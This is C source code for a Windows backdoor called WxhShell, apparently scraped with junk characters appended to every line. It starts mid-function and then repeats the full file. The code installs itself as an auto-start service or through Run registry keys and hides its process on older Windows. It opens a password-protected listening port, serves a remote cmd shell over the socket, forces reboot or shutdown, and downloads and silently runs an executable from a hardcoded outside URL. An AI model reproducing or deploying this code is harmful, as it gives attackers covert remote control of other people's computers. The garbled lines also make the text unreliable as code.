    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $%<{zWQm  
    if(Boot(SHUTDOWN)) #8$?# dT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,+=9Rp`md  
    else { Y-VDi.]W  
    closesocket(wsh); 4>JSZ6i#n  
    ExitThread(0); 3uL f0D  
    } -^_m(@A<~  
    break; ?w3RqF@}  
    } L\:|95Yq  
  // 获取shell |{(<A4W  
  case 's': { K$"#SZEi  
    CmdShell(wsh); fr17|#L+s  
    closesocket(wsh); ] l,BUf-O  
    ExitThread(0); ClG%zE&i  
    break; b!<_ JOL2.  
  } gf|uZ9{  
  // 退出 /K=OsMl2b8  
  case 'x': { KX) n+{   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2d)Dhxzxk  
    CloseIt(wsh); L%'J]HL-  
    break; ? SFBUX(p  
    } !fh (k  
  // 离开  Q !X?P  
  case 'q': { OO:S2-]Y>e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uLhGp@Dx  
    closesocket(wsh); Od1\$\4Z  
    WSACleanup(); q_MN  
    exit(1); \PrJy6&  
    break; iw@rW5%'~  
        } L9b.D<  
  } u3T-U_:jSV  
  } mm/\\my  
u mYsO.8  
  // 提示信息 ]so/AdT9hA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m`yvZ4K!  
} >m%_`68  
  } y>o:5':;'  
n,N->t$i  
  return; #bOv}1,s  
} M/ 3;-g  
m+QS -woHn  
// shell模块句柄 #s)f3HU>  
int CmdShell(SOCKET sock) o9kJ90{D=  
{ Kb~nC6yJc  
STARTUPINFO si; _4{0He`q  
ZeroMemory(&si,sizeof(si)); 73Dxf -  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _O`prX.:B0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~ 9>H(c  
PROCESS_INFORMATION ProcessInfo; )CGQ}  
char cmdline[]="cmd"; =RoE=) 1&-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r!r08y f  
  return 0; xfk -Ezv  
} Yuv(4a<M%  
D8A+`W?  
// 自身启动模式 OC! {8MR  
int StartFromService(void) xUJ(tG3  
{ (zhZ}C,VF  
typedef struct ;jP sS^X  
{  2&6D`{"P  
  DWORD ExitStatus; TTf j 5  
  DWORD PebBaseAddress; }m:paB"3  
  DWORD AffinityMask; pb!2G/,.[  
  DWORD BasePriority; t]xz7VQ  
  ULONG UniqueProcessId; b(Y   
  ULONG InheritedFromUniqueProcessId; GM|& ,}  
}   PROCESS_BASIC_INFORMATION; ?QP>rm  
YwVA].p@TI  
PROCNTQSIP NtQueryInformationProcess; Ha v&vV  
-rDfDdT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g=:o'W$@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #2=l\y-#  
~WrpJjI[  
  HANDLE             hProcess; NlYuT+  
  PROCESS_BASIC_INFORMATION pbi; |d0X1(  
=dXHQU&Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )nd^@G^  
  if(NULL == hInst ) return 0; vJE=H9E  
Bg|d2,im  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FSuC)Xg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fe8X@63  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3M#x)cW  
"&_+!TBg,  
  if (!NtQueryInformationProcess) return 0; M$x,B#b  
1wgL^Qz@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v.ZUYa|  
  if(!hProcess) return 0; It*U"4lgi  
aB%.]bi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T{prCM  
| BaEv\$K  
  CloseHandle(hProcess); yY]x' 'K  
&dB@n15'A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xM())Z|2  
if(hProcess==NULL) return 0; "rdpA[>L  
f]*;O+8$LN  
HMODULE hMod; enk`I$Xx  
char procName[255]; ch# )XomN  
unsigned long cbNeeded; 3MQHoxX  
WUS%4LL(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _'p/8K5)=  
0>[]Da}  
  CloseHandle(hProcess); T m"B  
|AvPg  
if(strstr(procName,"services")) return 1; // 以服务启动 .7.G}z1  
RFM;?!S  
  return 0; // 注册表启动 % J\G[dl  
} W@!qp  
1 -Z&/3T]  
// 主模块 O 0}uY:B  
int StartWxhshell(LPSTR lpCmdLine) 7\@c1e*e  
{ IlJ"t`Z9)  
  SOCKET wsl; :1d;jx>  
BOOL val=TRUE; <gPM/ 4$G  
  int port=0; k7uX!}  
  struct sockaddr_in door; ~,,r\Y+  
rDl/R^w"  
  if(wscfg.ws_autoins) Install(); ll__A|JQ  
{?Slo5X|  
port=atoi(lpCmdLine); m{oe|UVcmr  
CUDA<Fm  
if(port<=0) port=wscfg.ws_port; q:_:E*o  
Aa-5k3:x]=  
  WSADATA data; jd]L}%ax  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }a OBQsnO  
(o{Y;E@/y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V;^-EWNj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +<$(ez  
  door.sin_family = AF_INET; X$xf@|<a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G!%m~+",  
  door.sin_port = htons(port); n)N!6u  
x~k3kj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ESviWCh0Fl  
closesocket(wsl); JbEEI(Q>g  
return 1; c ,#=In2  
} eNfH9l2k  
kM-8%a2i  
  if(listen(wsl,2) == INVALID_SOCKET) { `D3q!e  
closesocket(wsl); |`yU \  
return 1; DK2Wjr;  
} .|"E:qTD  
  Wxhshell(wsl); ,&Zp^  
  WSACleanup(); =ZS Yg K  
.NWsr*Tel  
return 0; A46dtFD{  
CUB;0J(  
} 5> dA7j^v  
[cFD\"gJAr  
// 以NT服务方式启动 f2tCB1[D+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +%<kcc3  
{ ZK ?V{X{";  
DWORD   status = 0; nls$ wE  
  DWORD   specificError = 0xfffffff; *QNX?8Fm_  
l`75BR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }2Ge??!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DI/d(oFv`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J<NpA(@^  
  serviceStatus.dwWin32ExitCode     = 0; ZT"vVX- )G  
  serviceStatus.dwServiceSpecificExitCode = 0; o^5UHFxTCB  
  serviceStatus.dwCheckPoint       = 0; bs}SFTL  
  serviceStatus.dwWaitHint       = 0; TN Z -0  
-~sW@u)O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f*V^HfiQb  
  if (hServiceStatusHandle==0) return; p%Q{Rqc)  
8/B8yY-O  
status = GetLastError(); qi^kf  
  if (status!=NO_ERROR) 3f>9tUWhTy  
{ 8bw, dBN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zn'Mi:O'p  
    serviceStatus.dwCheckPoint       = 0; vh|m[p  
    serviceStatus.dwWaitHint       = 0; I 8 ?  
    serviceStatus.dwWin32ExitCode     = status; j!L7r'AV5  
    serviceStatus.dwServiceSpecificExitCode = specificError; BGNZE{K4"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xn=mS!"1Zo  
    return; >;G7ty[RX7  
  } z$Z%us>io  
LvGo$f/9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "tbKbFn9  
  serviceStatus.dwCheckPoint       = 0; -0'< 7FSQ  
  serviceStatus.dwWaitHint       = 0; @6[aLF]F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aR)UHxvX  
} M~X~2`fFH  
U_9|ED:  
// 处理NT服务事件,比如:启动、停止 <%4pvn8d?&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) amQiH!}8R  
{ 'mv|6Y  
switch(fdwControl) _x-2tnIxXv  
{ D41.$t[  
case SERVICE_CONTROL_STOP: '[[IalQ?  
  serviceStatus.dwWin32ExitCode = 0; Dir# [j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t& yuo E  
  serviceStatus.dwCheckPoint   = 0; gjJ:s,Fg  
  serviceStatus.dwWaitHint     = 0; W;X:U.  
  { EnMc9FN(y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1JS5 LS  
  } ?<OE|nb&  
  return; ](+u'8  
case SERVICE_CONTROL_PAUSE: @Rd`/S@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E)'T;%  
  break; Sw{rNzh%$  
case SERVICE_CONTROL_CONTINUE: C:!&g~{cKi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fX LsLh+~D  
  break; aTaL|&(  
case SERVICE_CONTROL_INTERROGATE: }PMlG  
  break; SQ/}K8uZ  
}; G{+zKs}~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gYpFF=7j<@  
} n>o=RQ2  
_Fkb$NJ"]Q  
// 标准应用程序主函数 us#ji i.<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M(} T\R  
{ =m;cy0))  
HT_nxe`E  
// 获取操作系统版本 %~<F7qB  
OsIsNt=GetOsVer(); mt *Dx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5M%)*.Y 3[  
REOWSs$'  
  // 从命令行安装 O/l/$pe  
  if(strpbrk(lpCmdLine,"iI")) Install(); h?QGJ^#8  
gE23C*!'&:  
  // 下载执行文件 H'@@%nO (  
if(wscfg.ws_downexe) { "NV~lJS%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %u?A>$Jn  
  WinExec(wscfg.ws_filenam,SW_HIDE); P?=}}DI  
} |l~#qeZ%  
pSx}:u^am  
if(!OsIsNt) { |UQGZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 Fp+fZU  
HideProc(); On;7  
StartWxhshell(lpCmdLine); !'bZ|j%  
} m*AiP]Qu  
else ` b)i;m  
  if(StartFromService()) bz\nCfU  
  // 以服务方式启动 LD;! s  
  StartServiceCtrlDispatcher(DispatchTable); 7U)w\A;~  
else g s%[Cv  
  // 普通方式启动 Mn*v&O:  
  StartWxhshell(lpCmdLine); :Q;mgHTNz  
hC!8-uBK5<  
return 0; m4c2WY6k  
} vf!lhV-UG+  
-+Ox/>k  
ocj^mxh =O  
tY`%vI [  
=========================================== S8e?-rC  
YB9)v5Nz(  
K &G  
#!j wn^yq  
a/~1CrYr  
_o6Zj1p  
" ib(4Y%U6~  
7] >z e  
#include <stdio.h> P.Qz>c^-C  
#include <string.h> )9 {!=k  
#include <windows.h> D' h%.  
#include <winsock2.h> X$< CIZ  
#include <winsvc.h> /,9n1|FrG  
#include <urlmon.h> AR)A <  
3Q#3S  
#pragma comment (lib, "Ws2_32.lib") Y-y}gc_L  
#pragma comment (lib, "urlmon.lib") l=>FoJf!*<  
Pu2cU5n  
#define MAX_USER   100 // 最大客户端连接数 JIMi~mEiN  
#define BUF_SOCK   200 // sock buffer k|rbh.Q  
#define KEY_BUFF   255 // 输入 buffer )tx!BJiZ[  
p v*f]Yzx  
#define REBOOT     0   // 重启 ov Wm}!r  
#define SHUTDOWN   1   // 关机 m>^#:JK  
B|kIiL63 D  
#define DEF_PORT   5000 // 监听端口 q!) nSD  
A{wSO./3  
#define REG_LEN     16   // 注册表键长度 5eX+9niY  
#define SVC_LEN     80   // NT服务名长度 7;ddzxR4  
u/HNXJ7M`9  
// 从dll定义API tf{o=X.)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;/(<yu48  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T:VFyby\w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bx3kd+J7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o+T, O+i  
kXZG<?  
// wxhshell配置信息 x3=SMN|a  
struct WSCFG { 7HQ|3rt  
  int ws_port;         // 监听端口 10..<v7  
  char ws_passstr[REG_LEN]; // 口令 R5r CCp  
  int ws_autoins;       // 安装标记, 1=yes 0=no l7S&s&W @  
  char ws_regname[REG_LEN]; // 注册表键名 +{&++^(}a  
  char ws_svcname[REG_LEN]; // 服务名 I*= =I4qx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hODq& 9!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y.WEO>   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9y;8JO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6z1>(Za7>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6V @ [< d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d6g^>}-!t  
WTj,9  
}; Si=u=FI1e  
[_3L  
// default Wxhshell configuration f5vsxP)Y[  
struct WSCFG wscfg={DEF_PORT, x4/f5  
    "xuhuanlingzhe", }&/_ S  
    1, +#7)'c  
    "Wxhshell", T']G:jkb  
    "Wxhshell", I :o.%5)  
            "WxhShell Service", ^}<h_T?<_-  
    "Wrsky Windows CmdShell Service", l'#a2Pl  
    "Please Input Your Password: ", e/y\P&"eI  
  1,  kSU]~x  
  "http://www.wrsky.com/wxhshell.exe", S!.H _=z%p  
  "Wxhshell.exe" ??? ;H  
    }; +IbQVU~/  
ivP#qM1*;  
// 消息定义模块 j# !U6T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oTxE]a,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e'5sT#T9l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kTS #>uS  
char *msg_ws_ext="\n\rExit."; ~cW,B}  
char *msg_ws_end="\n\rQuit."; hD>cxo  
char *msg_ws_boot="\n\rReboot..."; \WZ]'o6  
char *msg_ws_poff="\n\rShutdown..."; F@kd[>/[  
char *msg_ws_down="\n\rSave to "; VK]sK e  
s92SN F}g  
char *msg_ws_err="\n\rErr!"; 2sahb#e )  
char *msg_ws_ok="\n\rOK!"; .L))EB  
9\a;75a  
char ExeFile[MAX_PATH]; "tg?V  
int nUser = 0; pcO0xrI  
HANDLE handles[MAX_USER]; oC1Nfc+  
int OsIsNt;  ^#&:-4/  
ffoLCx4o0E  
SERVICE_STATUS       serviceStatus; vjO@"2YEw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5YnTGf&  
Ce!xa\  
// 函数声明 ^U]B&+m  
int Install(void); ;wj8:9 ;  
int Uninstall(void); QX|y};7\e  
int DownloadFile(char *sURL, SOCKET wsh); :6y;U  
int Boot(int flag); Gq9pJ  
void HideProc(void); I?Ct@yxhF'  
int GetOsVer(void); b=Oec%Adx  
int Wxhshell(SOCKET wsl); }ujl2uhM  
void TalkWithClient(void *cs); /}#@uC  
int CmdShell(SOCKET sock); -)$5[jM]  
int StartFromService(void); )~H&YINhn  
int StartWxhshell(LPSTR lpCmdLine); #Bi8>S  
B0"55g*c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ad,pHJ`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >}6V=r3[+  
5 p! rZ  
// 数据结构和表定义 \ 3HB  
SERVICE_TABLE_ENTRY DispatchTable[] = zpBkP-%}E  
{ 2(K@V6j$M  
{wscfg.ws_svcname, NTServiceMain}, 8)51p+a  
{NULL, NULL} l"1at eM3  
}; QK@[ b3-h1  
T6fm`uL&L  
// 自我安装 rJ)8KY>  
int Install(void) OVa38Aucr3  
{ ZBl!7_[_  
  char svExeFile[MAX_PATH]; pkT26)aW  
  HKEY key; \9T /%[r#  
  strcpy(svExeFile,ExeFile); ~Rk ~Zn  
yZw5?{g@  
// 如果是win9x系统,修改注册表设为自启动 ?'+ kZ|  
if(!OsIsNt) { .Arcsg   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xdkC>o4>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u#~q86k  
  RegCloseKey(key); & ( i_s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;{f4E)t 7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qttJ*zu  
  RegCloseKey(key); _0EKE  
  return 0; }>< v7  
    } qpXsQim$~  
  } R.$1aqA}  
} 8(|lP58~  
else { 5VhJ*^R`y  
R gTrj  
// 如果是NT以上系统,安装为系统服务 o%sx(g=q6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XAw0Nn   
if (schSCManager!=0) xmNs<mz  
{ e]q(fPK  
  SC_HANDLE schService = CreateService 8m"jd+  
  ( '4]_~?&x  
  schSCManager, =dDr:Y<@*  
  wscfg.ws_svcname, r0(*]K:.  
  wscfg.ws_svcdisp, ]o3K  
  SERVICE_ALL_ACCESS, EaUO>S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #d;/Me  
  SERVICE_AUTO_START, 4"~l^yK  
  SERVICE_ERROR_NORMAL, Z|6,*XEc   
  svExeFile, c@Q&i  
  NULL, ;?.w!|6  
  NULL, 32x[6"T  
  NULL, hG8<@  
  NULL, lNba[;_  
  NULL bK#SxV  
  ); GW\66$|  
  if (schService!=0) J`xCd/G  
  { 35/K9l5  
  CloseServiceHandle(schService); `|WEzW~  
  CloseServiceHandle(schSCManager); p`/c&}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }C!g x6  
  strcat(svExeFile,wscfg.ws_svcname); +\)a p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cT(=pMt8>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W\5PsGUsv  
  RegCloseKey(key); l _gJC.  
  return 0; (L'|n *Cr  
    } Qs\*r@6?  
  } 8"yZS)09  
  CloseServiceHandle(schSCManager); Wf:LYL  
} pX?/=T@ Bw  
} )zK@@E  
9>T5~C'*  
return 1; P87Lo4R d  
} Q.} guI\  
L6Io u  
// 自我卸载 7ro&Q%  
int Uninstall(void) V[2}  
{ 4=qZ Z>[t  
  HKEY key; 4~ i?xo=;v  
6<mlx'  
if(!OsIsNt) { E4, J"T|@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TE% i   
  RegDeleteValue(key,wscfg.ws_regname); J>8kJCh9g  
  RegCloseKey(key); C2C 1 @=w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9 :,ZG4s  
  RegDeleteValue(key,wscfg.ws_regname); 3*=_vl3  
  RegCloseKey(key); /I &wh  
  return 0; w0^}c8%WR  
  } SW)jDy  
} A~({vb'  
} ;(&S1Rv9  
else { i"d&U7Q  
t W}"PKv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MFQyB+Z  
if (schSCManager!=0) IxaF *4JG  
{ u~7fK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E<sd\~~A:  
  if (schService!=0) JA~q}C7A7o  
  { Lu CiO  
  if(DeleteService(schService)!=0) { X^Fc^U8  
  CloseServiceHandle(schService); ?&?5x%|.<  
  CloseServiceHandle(schSCManager); qs!A)H#  
  return 0; M;9s  
  } *Gul|Lp$<I  
  CloseServiceHandle(schService); n?*r,)'  
  } d9up! k  
  CloseServiceHandle(schSCManager); QJ+Ml  
} U^8S@#1Q  
} }#h`1 uV  
#Q'#/\5  
return 1; `j8pgnY>5~  
} Cy dV$!&mP  
+ w/B3 b  
// 从指定url下载文件 b/?)_pg  
int DownloadFile(char *sURL, SOCKET wsh) 2N{^V?:  
{ 4W#DLip9  
  HRESULT hr; +{0v@6<(02  
char seps[]= "/"; >&ENrvaJ  
char *token; 0f#xyS 3  
char *file; ?Wc+ J4  
char myURL[MAX_PATH]; [kf6bf@  
char myFILE[MAX_PATH]; 9yz@hdG  
%n 6NVi_[  
strcpy(myURL,sURL);  |A\o  
  token=strtok(myURL,seps); C5g9Gg  
  while(token!=NULL) ! (Q[[M  
  { $0k7W?tu  
    file=token; lffw "  
  token=strtok(NULL,seps); X;n09 L`CB  
  } 1,P\dGmu  
Y#QXvo%  
GetCurrentDirectory(MAX_PATH,myFILE); }bSDhMV;  
strcat(myFILE, "\\"); c h}wXn  
strcat(myFILE, file); -lrcb/)Gz  
  send(wsh,myFILE,strlen(myFILE),0); k~F;G=P  
send(wsh,"...",3,0);  nZ)E @  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z~F*$jn  
  if(hr==S_OK) H: S<O%f  
return 0; &(lQgi+^!  
else w{ ;Sp?Os  
return 1; yf7|/M  
}2 Tq[rl~s  
} z'*"iaX<c  
W1521:  
// 系统电源模块 ut#pg+#Q  
int Boot(int flag) 5mS/,fs@  
{ #0PZa$kM(o  
  HANDLE hToken; n =WH=:&  
  TOKEN_PRIVILEGES tkp; 2Z5_@Y  
)|_L?q#w!'  
  if(OsIsNt) { {1qr6P,"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1[J|AkN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F 2Y!aR  
    tkp.PrivilegeCount = 1; pKno~jja  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r@/@b{=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q :.i[  
if(flag==REBOOT) { _a f $0!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cUr!U\X[  
  return 0; na|sKE;{  
} \KzH5?  
else { @v#,SF{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g/_0WW]}  
  return 0; )E}@h%d  
} k>\v]&|T`  
  } qZ4)) X  
  else { ?T.=y m  
if(flag==REBOOT) { I$MlIz$l v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yM7Iq)o6u  
  return 0; /!MVpi'6&  
} ``eam8Az_U  
else { j ijwHL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YWs?2I  
  return 0; QM* T?PR  
} ]-9w'K d  
} |j81?4<)v  
MB7*AA;  
return 1; -Lu&bVt<>  
} R}cNhZC  
ec`re+1r  
// win9x进程隐藏模块 +*Z'oCBJ,  
void HideProc(void) h!v< J  
{ ]Vmo >  
gO)":!_n W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )$1>6C\  
  if ( hKernel != NULL ) T2/:C7zL  
  { !n` |k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 22=sh;y+2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s2<[@@@q  
    FreeLibrary(hKernel); hlDB'8  
  } ma+AFCi  
~\AF\n%  
return; kiyc^s  
} Ix}6%2\  
/Q3\6DCl  
// 获取操作系统版本 0Sz[u\w  
int GetOsVer(void) s5rD+g]E`  
{ vg5_@7  
  OSVERSIONINFO winfo; /s~S\dG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EEnl'  
  GetVersionEx(&winfo); /aMOZ=,q}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aWlIq(dU  
  return 1; hxK;f  
  else \xbUr`WBY  
  return 0; \hZ%NL j  
} ZZ!">AN`^  
8I *N  
// 客户端句柄模块 dzBP<Xyh  
int Wxhshell(SOCKET wsl) &b`W<PAc?4  
{ D4,>g )B  
  SOCKET wsh; #CaPj:>[  
  struct sockaddr_in client; PkI+z_  
  DWORD myID; v&'#Gg  
(S?Y3l|  
  while(nUser<MAX_USER)  5QLK  
{ as!a!1  
  int nSize=sizeof(client); ($kw*H{Ah^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \0d'y#Gp*  
  if(wsh==INVALID_SOCKET) return 1; ,aLwOmO  
)0iN2L]U;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .1jiANY  
if(handles[nUser]==0) "GQ Q8rQ  
  closesocket(wsh); %^HE^ &  
else fO&`A:JY  
  nUser++; TKv!wKI  
  } l"%80"zO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QcW8A ,\q  
3_Xu3hNH!  
  return 0; >>,G3/Zd*  
} F{!pii5O9  
No} U[u.O  
// 关闭 socket z__?kY  
void CloseIt(SOCKET wsh) -]HZ?@  
{ * l1*zaE  
closesocket(wsh); ;_)~h$1%=  
nUser--; 3g;,  
ExitThread(0); +Gt9!x}#e  
} {V2"Pym?  
*H/3xPh,*  
// 客户端请求句柄 6<<"9mxK  
void TalkWithClient(void *cs) (pd$?vRy  
{ x lS*9>Ij  
f4b9o[,s2e  
  SOCKET wsh=(SOCKET)cs; %g}d}5s  
  char pwd[SVC_LEN]; <cp9+P <  
  char cmd[KEY_BUFF]; &]#L'D!"  
char chr[1]; $vfgYl4q  
int i,j; `.@sux!lu  
0DmA3  
  while (nUser < MAX_USER) { xBVOIc[4(  
z6C(?R  
if(wscfg.ws_passstr) { AtG~!)hG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _ (F-(X|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )6C+0b*  
  //ZeroMemory(pwd,KEY_BUFF); dHXe2rTE;&  
      i=0; eMC^ORdY  
  while(i<SVC_LEN) { 8YQuq.(>a  
{:K_=IRZ  
  // 设置超时 [3G{NC|'  
  fd_set FdRead; L^ J|cgmNw  
  struct timeval TimeOut; w3(|A> s3  
  FD_ZERO(&FdRead); q[a\a7U z  
  FD_SET(wsh,&FdRead); uLS]=:BT  
  TimeOut.tv_sec=8; ^w\22 Q  
  TimeOut.tv_usec=0; #f2k*8"eAF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8m?(* [[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B#Ybdp ;  
bTc >-e,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F nA Kfh(  
  pwd=chr[0]; 6M*z`B{hV  
  if(chr[0]==0xd || chr[0]==0xa) { V| 97;  
  pwd=0; C~qZ&  
  break; nc k/Dw  
  } 1@}F8&EZ  
  i++; <|}Z6Ti  
    } `Npa/Q  
xo_STLAw  
  // 如果是非法用户,关闭 socket rMDvnF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'K?h6?#  
} S)WxTE9  
w*VN =  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xxg|01  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <T}U 3lL^  
O2{["c e  
while(1) { SH?McBxS  
#Q8_:dPY  
  ZeroMemory(cmd,KEY_BUFF); f1 x&Fk  
.5 . (S^u  
      // 自动支持客户端 telnet标准   */;7Uv7  
  j=0; ,TQec:B  
  while(j<KEY_BUFF) { IgX &aW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jq,M1  
  cmd[j]=chr[0]; &j F'2D^_  
  if(chr[0]==0xa || chr[0]==0xd) { *-nO,K>y`  
  cmd[j]=0; Te+(7 Z  
  break; el9P@r0  
  } mAW.p=;  
  j++; ,>a!CnK=  
    } 6<];}M_{  
gXdMGO>  
  // 下载文件 0~qc,-)3  
  if(strstr(cmd,"http://")) { /mex{+p>tO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F06o-xH=  
  if(DownloadFile(cmd,wsh)) #DUfEZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {v|!];i  
  else ^1S{::  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ks#3 o+  
